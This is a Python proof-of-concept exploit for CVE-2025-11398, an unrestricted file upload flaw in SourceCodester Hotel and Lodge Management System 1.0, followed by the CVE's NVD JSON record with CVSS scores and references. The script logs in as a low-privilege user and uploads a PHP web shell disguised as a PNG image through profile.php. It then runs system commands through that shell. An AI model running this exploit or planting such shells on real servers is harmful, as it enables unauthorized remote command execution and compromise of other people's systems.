CVE-2025-11398

# CVE-2025-11398 - SourceCodester Hotel and Lodge Management System 1.0 # Unrestricted File Upload Vulnerability in /profile.php # PoC for exploiting the image upload functionality import requests # Target configuration TARGET_URL = "http://target-server.com" LOGIN_URL = f"{TARGET_URL}/login.php" PROFILE_URL = f"{TARGET_URL}/profile.php" UPLOAD_URL = f"{TARGET_URL}/profile.php" # Attacker credentials (low privilege account required) USERNAME = "attacker_user" PASSWORD = "attacker_password" # Create a session to maintain cookies session = requests.Session() # Step 1: Login to obtain authentication login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } session.post(LOGIN_URL, data=login_data) # Step 2: Create a malicious PHP file disguised as an image # The file contains a valid image header followed by PHP code malicious_content = b"""\x89PNG\r\n\x1a\n<?php echo "Hacked!"; system($_GET['cmd']); ?>""" files = { "image": ("shell.php", malicious_content, "image/png") } # Step 3: Upload the malicious file via the profile page upload_data = { "update": "Update" } response = session.post(UPLOAD_URL, files=files, data=upload_data) # Step 4: Access the uploaded shell to execute commands # Common upload paths: /uploads/, /images/, /img/ shell_url = f"{TARGET_URL}/uploads/shell.php?cmd=id" shell_response = session.get(shell_url) print(f"Shell response: {shell_response.text}")

{"cve": {"id": "CVE-2025-11398", "sourceIdentifier": "[email protected]", "published": "2025-10-07T15:16:01.870", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in SourceCodester Hotel and Lodge Management System 1.0. The impacted element is an unknown function of the file /profile.php of the component Profile Page. Executing manipulation of the argument image can lead to unrestricted upload. The attack may be launched remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nikhil-bhalerao:hotel_and_lodge_management_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "01868A61-18A4-4C5D-B260-54D49603028E"}]}]}], "references": [{"url": "https://github.com/TThuyyy/cve1/issues/7", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327335", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327335", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665038", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.sourcecodester.com/", "source": "[email protected]", "tags": ["Product"]}]}}